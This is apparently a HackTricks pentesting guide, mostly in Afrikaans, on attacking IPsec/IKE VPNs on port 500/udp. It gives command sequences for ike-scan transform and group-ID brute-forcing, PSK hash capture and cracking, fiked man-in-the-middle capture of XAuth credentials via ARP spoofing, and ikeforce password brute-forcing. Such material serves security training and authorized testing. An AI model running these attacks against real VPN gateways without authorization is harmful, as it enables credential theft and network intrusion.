# 500/udp - Pentesting IPsec/IKE VPN

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}
{% endhint %}

## Basiese Inligting

**IPsec** is wyd erken as die hooftegnologie vir die beveiliging van kommunikasie tussen netwerke (LAN-tot-LAN) en van afgeleë gebruikers na die netwerkpoort (afgeleë toegang), wat dien as die ruggraat vir ondernemings VPN-oplossings.

Die totstandkoming van 'n **veiligheidsvereniging (SA)** tussen twee punte word bestuur deur **IKE**, wat onder die vaandel van ISAKMP werk, 'n protokol wat ontwerp is vir die verifikasie en sleuteluitruiling. Hierdie proses ontvou in verskeie fases:

* **Fase 1:** 'n Veilige kanaal word geskep tussen twee eindpunte. Dit word bereik deur die gebruik van 'n Pre-Shared Key (PSK) of sertifikate, wat of hoofmodus gebruik, wat drie pare boodskappe behels, of **aggressiewe modus**.
* **Fase 1.5:** Alhoewel nie verpligtend nie, verifieer hierdie fase, bekend as die Uitgebreide Verifikasiefase, die identiteit van die gebruiker wat probeer om te verbind deur 'n gebruikersnaam en wagwoord te vereis.
* **Fase 2:** Hierdie fase is toegewy aan die onderhandeling van die parameters vir die beveiliging van data met **ESP** en **AH**. Dit stel die gebruik van algoritmes wat verskil van dié in Fase 1 in staat om **Perfect Forward Secrecy (PFS)** te verseker, wat die sekuriteit verbeter.

**Standaard poort:** 500/udp

## **Ontdek** die diens met nmap
```
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
## **Vind 'n geldige transformasie**

Die IPSec-konfigurasie kan slegs voorberei word om een of 'n paar transformasies te aanvaar. 'n Transformasie is 'n kombinasie van waardes. **Elke transformasie** bevat 'n aantal eienskappe soos DES of 3DES as die **enkripsie-algoritme**, SHA of MD5 as die **integriteitsalgoritme**, 'n vooraf gedeelde sleutel as die **authentikasietipe**, Diffie-Hellman 1 of 2 as die sleutel **verspreidingsalgoritme** en 28800 sekondes as die **leeftyd**.

Dan is die eerste ding wat jy moet doen om **'n geldige transformasie te vind**, sodat die bediener met jou kan praat. Om dit te doen, kan jy die hulpmiddel **ike-scan** gebruik. Standaard werk Ike-scan in hoofmodus en stuur 'n pakket na die poort met 'n ISAKMP-kop en 'n enkele voorstel met **agt transformasies daarin**.

Afhangende van die antwoord kan jy 'n paar inligting oor die eindpunt verkry:
```
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
As you can see in the previous response, there is a field called **AUTH** with the value **PSK**. This means that the vpn is configured using a preshared key (and this is really good for a pentester).\
**Die waarde van die laaste lyn is ook baie belangrik:**

* _0 teruggegee handshake; 0 teruggegee notify:_ Dit beteken die teiken is **nie 'n IPsec-gateway nie**.
* _**1 teruggegee handshake; 0 teruggegee notify:**_ Dit beteken die **teiken is geconfigureer vir IPsec en is bereid om IKE-onderhandeling te voer, en een of meer van die transformasies wat jy voorgestel het, is aanvaarbaar** (n geldige transformasie sal in die uitvoer gewys word).
* _0 teruggegee handshake; 1 teruggegee notify:_ VPN-gateways reageer met 'n notify-boodskap wanneer **geen van die transformasies aanvaarbaar is nie** (alhoewel sommige gateways nie, in welke geval verdere analise en 'n hersiene voorstel probeer moet word).

Then, in this case we already have a valid transformation but if you are in the 3rd case, then you need to **brute-force a little bit to find a valid transformation:**

First of all you need to create all the possible transformations:
```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
```
En dan brute-force elkeen met ike-scan (dit kan verskeie minute neem):
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
As die brute-force nie gewerk het nie, maybe die bediener reageer sonder handdrukke selfs op geldige transformasies. Dan kan jy dieselfde brute-force probeer maar met aggressiewe modus:
```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
Hopelik **'n geldige transformasie word teruggegee**.\
Jy kan die **dieselfde aanval** probeer met [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
Jy kan ook probeer om transformasies te brute force met [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
```
![](<../.gitbook/assets/image (617).png>)

In **DH Groep: 14 = 2048-bit MODP** en **15 = 3072-bit**\
**2 = HMAC-SHA = SHA1 (in hierdie geval). Die `--trans` formaat is $Enc,$Hash,$Auth,$DH**

Cisco dui aan om DH groepe 1 en 2 te vermy omdat hulle nie sterk genoeg is nie. Kenner glo dat **lande met baie hulpbronne maklik die versleuteling** van data wat hierdie swak groepe gebruik, kan breek. Dit word gedoen deur 'n spesiale metode te gebruik wat hulle voorberei om die kodes vinnig te kraak. Alhoewel dit baie geld kos om hierdie metode op te stel, laat dit hierdie magtige lande toe om die versleutelde data in werklike tyd te lees as dit 'n groep gebruik wat nie sterk is nie (soos 1,024-bit of kleiner).

### Bediener vingerafdruk

Dan kan jy ike-scan gebruik om te probeer **ontdek wie die verskaffer** van die toestel is. Die hulpmiddel stuur 'n aanvanklike voorstel en stop om te herhaal. Dan sal dit die **tyd** verskil **tussen** die ontvangde **boodskappe** van die bediener en die ooreenstemmende reaksiepatroon analiseer, die pentester kan suksesvol die VPN-gateway verskaffer vingerafdruk. Boonop sal sommige VPN-bedieners die opsionele **Verskaffer ID (VID) payload** met IKE gebruik.

**Specifiseer die geldige transformasie indien nodig** (gebruik --trans)

As IKE ontdek wie die verskaffer is, sal dit dit druk:
```
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
```
Dit kan ook bereik word met nmap script _**ike-version**_

## Vind die korrekte ID (groepsnaam)

Om toegelaat te word om die hash te vang, benodig jy 'n geldige transformasie wat Aggressive mode ondersteun en die korrekte ID (groepsnaam). Jy sal waarskynlik nie die geldige groepsnaam weet nie, so jy sal dit moet brute-force.\
Om dit te doen, beveel ek 2 metodes aan:

### Bruteforcing ID met ike-scan

Eerstens, probeer om 'n versoek met 'n vals ID te maak om die hash te versamel ("-P"):
```bash
ike-scan -P -M -A -n fakeID <IP>
```
As **geen hash teruggestuur word nie**, dan sal hierdie metode van brute forcing waarskynlik werk. **As 'n paar hashes teruggestuur word, beteken dit dat 'n vals hash teruggestuur gaan word vir 'n vals ID, so hierdie metode sal nie betroubaar wees** om die ID te brute-force. Byvoorbeeld, 'n vals hash kan teruggestuur word (dit gebeur in moderne weergawes):

![](<../.gitbook/assets/image (917).png>)

Maar as, soos ek gesê het, geen hash teruggestuur word nie, dan moet jy probeer om algemene groepsname te brute-force met ike-scan.

Hierdie skrip **sal probeer om moontlike ID's te brute-force** en sal die ID's teruggee waar 'n geldige handdruk teruggestuur word (dit sal 'n geldige groepsnaam wees).

As jy 'n spesifieke transformasie ontdek het, voeg dit by die ike-scan opdrag. En as jy verskeie transformasies ontdek het, voel vry om 'n nuwe lus toe te voeg om hulle almal te probeer (jy moet hulle almal probeer totdat een van hulle behoorlik werk).

Jy kan die [woordeboek van ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) of [die een in seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) van algemene groepsname gebruik om hulle te brute-force:
```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
Or gebruik hierdie woordelys (is 'n kombinasie van die ander 2 woordelys sonder herhalings):

{% file src="../.gitbook/assets/vpnIDs.txt" %}

### Bruteforcing ID met Iker

[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) gebruik ook **ike-scan** om moontlike groepsname te bruteforce. Dit volg sy eie metode om **'n geldige ID te vind gebaseer op die uitvoer van ike-scan**.

### Bruteforcing ID met ikeforce

[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) is 'n hulpmiddel wat gebruik kan word om **ID's ook te brute force**. Hierdie hulpmiddel sal **probeer om verskillende kwesbaarhede te benut** wat gebruik kan word om **tussen 'n geldige en 'n nie-geldige ID te onderskei** (kan vals positiewe en vals negatiewe hê, daarom verkies ek om die ike-scan metode te gebruik indien moontlik).

Standaard sal **ikeforce** aan die begin 'n paar ewekansige ID's stuur om die gedrag van die bediener te kontroleer en die taktiek te bepaal wat gebruik moet word.

* Die **eerste metode** is om die groepsname te brute-force deur **inligting** te **soek** oor **Dead Peer Detection DPD** van Cisco stelsels (hierdie inligting word slegs deur die bediener herhaal as die groepsnaam korrek is).
* Die **tweede metode** wat beskikbaar is, is om **die aantal antwoorde wat na elke poging gestuur word, te kontroleer** omdat soms meer pakkette gestuur word wanneer die korrekte ID gebruik word.
* Die **derde metode** bestaan uit **soek na "INVALID-ID-INFORMATION" in antwoord op 'n onkorrekte ID**.
* Laastens, as die bediener niks aan die kontroles terugstuur nie, sal **ikeforce** probeer om die bediener te brute force en kyk of wanneer die korrekte ID gestuur word, die bediener met 'n paar pakkette antwoordgee.\
Dit is duidelik dat die doel van die brute forcing van die ID is om die **PSK** te kry wanneer jy 'n geldige ID het. Dan, met die **ID** en **PSK** sal jy die XAUTH moet bruteforce (as dit geaktiveer is).

As jy 'n spesifieke transformasie ontdek het, voeg dit by die ikeforce-opdrag. En as jy verskeie transformasies ontdek het, voel vry om 'n nuwe lus by te voeg om hulle almal te probeer (jy moet hulle almal probeer totdat een van hulle behoorlik werk).
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```

```bash
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
```
### Sniffing ID

(Van die boek **Netwerk Sekuriteit Assessering: Ken Jou Netwerk**): Dit is ook moontlik om geldige gebruikersname te verkry deur die verbinding tussen die VPN-kliënt en -bediener te sniff, aangesien die eerste aggressiewe modus pakket wat die kliënt ID bevat, in die duidelik gestuur word.

![](<../.gitbook/assets/image (891).png>)

## Capturing & cracking the hash

Laastens, as jy 'n **geldige transformasie** en die **groep naam** gevind het en as die **aggressiewe modus toegelaat word**, dan kan jy baie maklik die kraakbare hash gryp:
```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
```
Die hash sal binne _hash.txt_ gestoor word.

Jy kan **psk-crack**, **john** (met [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) en **hashcat** gebruik om die hash te **crack**:
```bash
psk-crack -d <Wordlist_path> psk.txt
```
## **XAuth**

**Aggressive mode IKE** gekombineer met 'n **Pre-Shared Key (PSK)** word algemeen gebruik vir **groepsverifikasie** doeleindes. Hierdie metode word versterk deur **XAuth (Extended Authentication)**, wat dien om 'n addisionele laag van **gebruikersverifikasie** in te voer. Sulke verifikasie maak tipies gebruik van dienste soos **Microsoft Active Directory**, **RADIUS**, of soortgelyke stelsels.

Met die oorgang na **IKEv2**, word 'n noemenswaardige verskuiwing waargeneem waar **EAP (Extensible Authentication Protocol)** gebruik word in plaas van **XAuth** vir die doel om gebruikers te verifieer. Hierdie verandering beklemtoon 'n evolusie in verifikasietegnieke binne veilige kommunikasieprotokolle.

### Plaaslike netwerk MitM om akrediteer te vang

So kan jy die data van die aanmelding vang met _fiked_ en kyk of daar enige standaard gebruikersnaam is (Jy moet IKE-verkeer na `fiked` herlei vir sniffing, wat gedoen kan word met die hulp van ARP spoofing, [meer inligting](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked sal as 'n VPN-eindpunt optree en die XAuth akrediteer vang:
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
Ook, gebruik IPSec om 'n MitM-aanval te maak en alle verkeer na poort 500 te blokkeer, as die IPSec-tonnel nie gevestig kan word nie, sal die verkeer dalk in duidelik gestuur word.

### Brute-forcing XAUTH gebruikersnaam en wagwoord met ikeforce

Om die **XAUTH** te brute force (wanneer jy 'n geldige groepnaam **id** en die **psk** ken) kan jy 'n gebruikersnaam of lys van gebruikersname en 'n lys van wagwoorde gebruik:
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
Op hierdie manier sal ikeforce probeer om te verbind met elke kombinasie van gebruikersnaam:wagwoord.

As jy een of verskeie geldige transformasies gevind het, gebruik dit net soos in die vorige stappe.

## Outentisering met 'n IPSEC VPN

In Kali word **VPNC** gebruik om IPsec tonnels op te stel. Die **profiele** moet in die gids `/etc/vpnc/` geleë wees. Jy kan hierdie profiele inisieer met die opdrag _**vpnc**_.

Die volgende opdragte en konfigurasies illustreer die proses om 'n VPN-verbinding met VPNC op te stel:
```bash
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
```
In hierdie opstelling:

* Vervang `[VPN_GATEWAY_IP]` met die werklike IP-adres van die VPN-gateway.
* Vervang `[VPN_CONNECTION_ID]` met die identifiseerder vir die VPN-verbinding.
* Vervang `[VPN_GROUP_SECRET]` met die VPN se groep geheim.
* Vervang `[VPN_USERNAME]` en `[VPN_PASSWORD]` met die VPN-authentikasie akkrediteer.
* `[PID]` simboliseer die proses ID wat toegeken sal word wanneer `vpnc` begin.

Verseker dat werklike, veilige waardes gebruik word om die plekhouers te vervang wanneer die VPN gekonfigureer word.

## Verwysingsmateriaal

* [PSK cracking paper](http://www.ernw.de/download/pskattack.pdf)
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
* [Scanning a VPN Implementation](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
* Network Security Assessment 3de Uitgawe

## Shodan

* `port:500 IKE`

{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Ondersteun HackTricks</summary>

* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}
</details>
{% endhint %}